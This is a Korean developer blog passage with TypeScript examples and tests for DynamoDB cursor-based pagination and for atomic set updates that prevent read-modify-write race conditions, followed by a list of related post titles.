do-while 루프를 사용해 페이지 처리를 수행한다. 다음과 같이 코드를 변경하면 테스트가 정상적으로 통과한다.

우선 쿼리를 수행한다.
쿼리 결과의 LastEvaluatedKey 속성을 exclusiveStartKey 변수에 저장한다. 조회할 데이터(Items)는 result 배열에 담는다.
exclusiveStartKey 변수가 undefiend, null이 아니라면 다시 쿼리를 수행한다.
이를 exclusiveStartKey 변수가 없을 때까지 반복한다.

const getAllItems = async (): Promise<Item[]> => {
  // biome-ignore lint/suspicious/noExplicitAny: unknown key
  let exclusiveStartKey: Record<string, any> | undefined;
  const result: Item[] = [];
  do {
    const command = new QueryCommand({
      TableName: tableName,
      KeyConditionExpression: "pk = :pk and begins_with(sk, :sk)",
      ExpressionAttributeValues: {
        ":pk": "pk",
        ":sk": "sk",
      },
      ExclusiveStartKey: exclusiveStartKey,
    });
    const output = await dynamoDBClient.send(command);
    result.push(...(output.Items as Item[]));
    exclusiveStartKey = output.LastEvaluatedKey;
  } while (exclusiveStartKey);
  return result;
};

다음은 실제 페이지 처리처럼 사이즈 제한을 두고 조회하는 방식을 재현한다. 테스트 코드를 통해 페이징 처리를 수행해보자.

5개의 데이터를 준비한다.
필요한 사이즈만큼 데이터를 조회한다. 사이즈는 ‘2’, ‘3’, ‘1’으로 3회 조회한다. 결과에는 다음 페이지를 조회할 때 기준으로 삼을 next 속성이 포함되어 있다. next 속성을 사용해 다음 페이지를 조회한다.
3회 조회한 결과들을 확인한다. next 속성은 LastEvaluatedKey 속성을 그대로 반환한 것이므로 현재 페이지의 마지막 아이템의 키가 포함된다.

it("getItems with page size", async () => {
  // 1
  for (let index = 0; index < 5; index++) {
    await dynamoDBClient.send(
      new PutCommand({
        TableName: tableName,
        Item: {
          pk: "pk",
          sk: `sk-${index}`,
          item: `item-${index}`,
        },
      }),
    );
  }

  // 2
  const firstResult = await getItems(2);
  const secondResult = await getItems(3, firstResult.next);
  const thirdResult = await getItems(1, secondResult.next);

  // 3
  expect(firstResult.next).toEqual({ pk: "pk", sk: "sk-1" });
  expect(firstResult.items.length).toEqual(2);
  expect(firstResult.items).toEqual([
    { pk: "pk", sk: "sk-0", item: "item-0" },
    { pk: "pk", sk: "sk-1", item: "item-1" },
  ]);
  expect(secondResult.next).toEqual({ pk: "pk", sk: "sk-4" });
  expect(secondResult.items.length).toEqual(3);
  expect(secondResult.items).toEqual([
    { pk: "pk", sk: "sk-2", item: "item-2" },
    { pk: "pk", sk: "sk-3", item: "item-3" },
    { pk: "pk", sk: "sk-4", item: "item-4" },
  ]);
  expect(thirdResult.next).toBeUndefined();
  expect(thirdResult.items.length).toEqual(0);
  expect(thirdResult.items).toEqual([]);
});

다음과 같이 구현한다. 조회한 결과의 Items, LastEvaluatedKey 요소를 반환한다.

// biome-ignore lint/suspicious/noExplicitAny: unknown key
type PageItems = { items: Item[]; next: Record<string, any> | undefined };

const getItems = async (
  size: number,
  // biome-ignore lint/suspicious/noExplicitAny: unknown key
  next?: Record<string, any>,
): Promise<PageItems> => {
  const command = new QueryCommand({
    TableName: tableName,
    KeyConditionExpression: "pk = :pk and begins_with(sk, :sk)",
    ExpressionAttributeValues: {
      ":pk": "pk",
      ":sk": "sk",
    },
    ExclusiveStartKey: next,
    Limit: size,
  });
  const output = await dynamoDBClient.send(command);
  return { items: output.Items as Item[], next: output.LastEvaluatedKey };
};

CLOSING

커서 역할을 하는 next 속성은 LastEvaluatedKey 객체를 그대로 사용했지만, 클라이언트(e.g. 브라우저)까지 전달해야 하는 경우 직렬화(serialization) 후 암호화(encryption)하는 편이 좋다. 서버와 데이터베이스의 구현 세부 사항(e.g. 스키마 구조 등)을 클라이언트 애플리케이션까지 있는 그대로 노출하는 것은 잠재적인 보안 리스크가 될 수 있다.

TEST CODE REPOSITORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-01-22-dynamo-db-query-pagination

REFERENCE

동시성(concurrency) 문제와 DynamoDB 원자적(atomic) 업데이트

Wed, 21 Jan 2026 00:00:00 +0000

0. 들어가면서

서버 애플리케이션에서 데이터베이스에 접근할 때 조회-변경-업데이트(read-modify-write) 패턴이 있는 경우 동시성 문제가 발생한다. RDB(relational database)인 경우 이를 해결할 수 있는 방법은 몇 가지 있다.

비관적 잠금 (Pessimistic Locking)
- 데이터를 읽는 시점에 즉시 해당 로우(Row)에 Lock을 걸어 다른 트랜잭션이 접근하지 못하게 차단하는 방식이다.
낙관적 잠금 (Optimistic Locking)
- 데이터에 수정을 시도할 때, 내가 읽었던 시점의 데이터 버전이 맞는지 확인하고 업데이트하는 방식이다. 애플리케이션 레벨에서 관리된다.
원자적 업데이트 (Atomic Update)
- 애플리케이션에서 계산된 값을 덮어쓰는 대신, DB 엔진 자체에서 연산을 수행하도록 쿼리를 작성하는 방식이다.

최근 개발에 참여했던 서비스는 AWS DynamoDB를 사용하고 있었다. 특정 기능(feature)에서 동시성 문제를 고려할 필요가 있었고, 위 세 가지 방법 중 원자적 업데이트 방식을 채택하여 구현했다. 이번 글은 DynamoDB를 사용하는 애플리케이션에서 원자적 업데이트를 수행하는 방법에 대해 정리했다.

1. Problem context

사용자 별로 특정 리소스에 ‘즐겨찾기’하는 기능을 개발 중이었다. RDB 였다면 즐겨찾기 테이블을 별도로 만들어 관리했겠지만, 이 팀은 DynamoDB를 사용하면서 단일 테이블 디자인(single table design)을 채택 중이었다. 테이블 디자인을 어떻게 가져갈지 페어(pair)와 상담해보고 가장 적합한 디자인은 결정했다. 현재 상황에서 코드의 복잡도를 높이지 않고, 기능을 구현할 수 있는 모델링이라 생각했다.

아이템의 특정 컬럼에 ‘즐겨찾기’를 누른 사람들의 아이디를 저장한다.

이렇게 테이블을 디자인하면 사용자가 특정 리소스에 대해 즐겨찾기를 할 때 조회-변경-업데이트(read-modify-write) 로직이 필요하다.

애플리케이션 레이어에서 현재 리소스 상태를 조회한다.
favoritePeople 컬렉션을 변경(추가/삭제)한다.
애플리케이션 레이어에서 변경한 리소스를 업데이트 한다.

이 구현은 필연적으로 동시성 문제를 일으킨다. 비슷한 시간에 들어온 요청은 모두 빈 리스트를 조회한다. 자신의 아이디를 리스트에 추가 후 업데이트한다. 최종적으로 트랜잭션이 늦게 끝난 사용자2의 변경 사항이 데이터베이스에 남는다.

2. DynamoDB atomic operation

DynamoDB는 원자적 업데이트를 지원한다. 애플리케이션에 현재 값을 읽어오지 않고, DynamoDB 엔진이 직접 값을 수정하도록 하는 방식이다. RDB에서 제공하는 쿼리와 동일한 원리다.

UPDATE table SET col = col + 1

수치형 데이터뿐만 아니라 리스트(List)나 셋(Set) 형태의 자료구조에 요소를 추가하거나 삭제하는 작업도 원자적으로 수행할 수 있다. 리스트의 경우 list_append 연산을 지원한다. 기존 리스트 끝에 새 요소를 원자적으로 추가한다.

SET my_list = list_append(my_list, :new_element)

셋인 경우에는 ADD/DELETE 연산을 지원한다. 두 연산은 셋 자료구조에만 사용할 수 있으며 집합에서 특정 요소를 원자적으로 추가/제거하는 기능이다.

ADD my_set :new_element

DELETE my_set :new_element

우리는 즐겨찾기 등록/해제 기능이 필요하고, 사용자의 더블 클릭이나 느린 네트워크로 인해 아이디가 중복으로 추가되는 일을 방지하기 위해 자료구조 셋과 ADD/DELETE 연산이 요구사항에 적합했다.

3. Test atomic operation with test container

테스트 컨테이너(test container)를 사용한 테스트 코드를 통해 동시성 문제가 발생하지 않는지 확인해보자. 테스트 컨테이너 셋업, 의존성 설치, 타입스크립트 설정 등은 이전 글을 참고하길 바란다. 전체 예제 코드는 이 링크를 참고하길 바란다.

우선 동시성 문제가 발생하는 조회-변경-업데이트 패턴의 코드는 다음과 같다.

GetCommand 연산으로 타겟 아이템을 조회한다.
아이템의 myList 리스트 객체에 새로운 항목을 추가한다.
UpdateCommand 연산으로 타겟 아이템을 업데이트한다.

const unsafeUpdate = async (newItem: string) => { 
  const { Item } = await testDynamoDBClient.send(
    new GetCommand({
      TableName: tableName,
      Key: { pk: "pk", sk: "sk" },
    }),
  );

  if (!Item) {
    return;
  }

  const newList = [...Item.myList, newItem];

  const command = new UpdateCommand({
    TableName: tableName,
    Key: { pk: "pk", sk: "sk" },
    UpdateExpression: "SET myList = :newList",
    ExpressionAttributeValues: {
      ":newList": newList,
    },
  });
  await testDynamoDBClient.send(command);
};

다음 셋의 ADD 연산을 통해 원자적 업데이트를 수행하는 코드는 다음과 같다.

타겟 아이템의 mySet 객체에 ADD 연산을 통해 새로운 항목을 추가한다.
신규 항목을 추가할 때 자바스크립트(JavaScript) Set 객체를 사용한다.

const atomicUpdate = async (newItem: string) => {
  const command = new UpdateCommand({
    TableName: tableName,
    Key: { pk: "pk", sk: "sk" },
    UpdateExpression: "ADD mySet :newItem",
    ExpressionAttributeValues: {
      ":newItem": new Set([newItem]),
    },
  });
  await testDynamoDBClient.send(command);
};

두 메서드를 비동기적으로 수행했을 때 동시성 문제가 발생하는지 확인해보자.

테스트에 필요한 데이터를 준비한다.
비동기 처리로 unsafeUpdate, atomicUpdate 함수를 100회 수행한다. 비동기 처리가 종료되는 것을 기다리기 위해 Promise 객체들은 배열에 담는다.
Promise.all() 메서드를 사용해 모든 비동기 처리가 끝나는 것을 기다린다.
업데이트 결과를 확인하기 위해 타겟 아이템을 조회한다.
동시성 문제가 발생하는 함수와 원자적 연산을 수행한 함수의 결과를 로그로 확인한다.

it("atomic operation test", async () => {
  // 1
  await testDynamoDBClient.send(
    new PutCommand({
      TableName: tableName,
      Item: { pk: "pk", sk: "sk", myList: [] },
    }),
  );
  const unsafeUpdatePromise = [];
  const atomicUpdatePromise = [];

  // 2
  for (let index = 0; index < 100; index++) {
    unsafeUpdatePromise.push(unsafeUpdate(`item-${index}`));
    atomicUpdatePromise.push(atomicUpdate(`item-${index}`));
  }

  // 3
  await Promise.all([...unsafeUpdatePromise, ...atomicUpdatePromise]);

  // 4
  const { Item } = await testDynamoDBClient.send(
    new GetCommand({
      TableName: tableName,
      Key: { pk: "pk", sk: "sk" },
    }),
  );
  // 5
  console.log("unsafe update result:", Item?.myList.length);
  console.log("atomic update result:", Item?.mySet.size);
});

동시성 문제가 없다면 총 100개의 데이터가 컬렉션에 담긴다. 만약, 동시성 문제가 발생했다면 100개보다 적은 수의 데이터가 컬렉션에 담겨 있을 것이다. 테스트 실행 결과는 다음과 같다.

동시성 문제가 발생하는 unsafeUpdate 함수는 리스트에 1개의 데이터만 저장된다.
동시성 문제가 발생하지 않는 atomicUpdate 함수는 셋에 100개의 데이터가 모두 저장된다.

unsafe update result: 1
atomic update result: 100

CLOSING

unsafeUpdate 함수도 await 키워드를 통해 연산이 끝나는 것을 기다리는 경우 정상적으로 아이템이 추가된다. 하지만, 서버는 여러 요청을 동시에 처리하기 때문에 이전 연산이 끝나는 것을 기다리지 않는다는 사실을 기억하자.

TEST CODE REPOSITORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-01-21-dynamo-db-atomic-operation

REFERENCE

https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Expressions.UpdateExpressions.html

Junhyunny's Devlogs

OpenAPI 명세서 기반 AWS API 게이트웨이(gateway)와 람다(lambda) 배포

RECOMMEND POSTS BEFORE THIS

0. 들어가면서

1. OpenAPI specification

2. Example

TEST CODE REPOSITORY

REFERENCE

[CVE-2026-25639] Axios 프로토타입 오염 취약점

RECOMMEND POSTS BEFORE THIS

1. CVE-2026-25639

2. Cause of vulnerability

3. Exploit PoC (Proof of Concept)

TEST CODE REPOSITORY

REFERENCE

보안 취약점의 식별과 평가 기준

0. 들어가면서

1. CVE (Common Vulnerabilities and Exposures)

2. CWE (Common Weakness Enumeration)

3. CNA (CVE Numbering Authority)

4. CVSS (Common Vulnerability Scoring System)

REFERENCE

리액트 쿼리(react query) 낙관적 업데이트(optimistic update)

RECOMMEND POSTS BEFORE THIS

0. 들어가면서

1. Optimistic update in React Query

2. Optimistic update via cache

3. Optimistic update via UI

CLOSING

TEST CODE REPOSITORY

REFERENCE

Orval MSW(Mock Service Worker) 핸들러 생성과 React Query 테스트

RECOMMEND POSTS BEFORE THIS

0. 들어가면서

1. Generate MSW handlers and React Query hooks

2. Using generated hooks

TEST CODE REPOSITORY

REFERENCE

OpenAPI 명세서를 사용한 Orval 클라이언트 코드 자동 생성하기

0. 들어가면서

1. OpenAPI specification

2. Orval

3. Generate codes

TEST CODE REPOSTORY

REFERENCE

Playwright 페이크 미디어 스트림(fake media stream)으로 웹캠(webcam) 촬영 테스트

RECOMMEND POSTS BEFORE THIS

0. 들어가면서

1. Fake media stream in Playwright

2. Use fake media stream

3. Tests

TEST CODE REPOSITORY

REFERENCE

리액트 브라우저 웹캠(web camera) 촬영/녹화 구현하기

0. 들어가면서

1. MediaStream API

2. Video recording

3. Photo capture

CLOSING

TEST CODE REPOSITORY

REFERENCE

DynamoDB 페이지 처리(pagination)

RECOMMEND POSTS BEFORE THIS

0. 들어가면서

1. Offset is not supported

2. Cursor based pagination

3. Example codes

CLOSING

TEST CODE REPOSITORY

REFERENCE

동시성(concurrency) 문제와 DynamoDB 원자적(atomic) 업데이트

RECOMMEND POSTS BEFORE THIS

0. 들어가면서

1. Problem context

2. DynamoDB atomic operation

3. Test atomic operation with test container

CLOSING

TEST CODE REPOSITORY

REFERENCE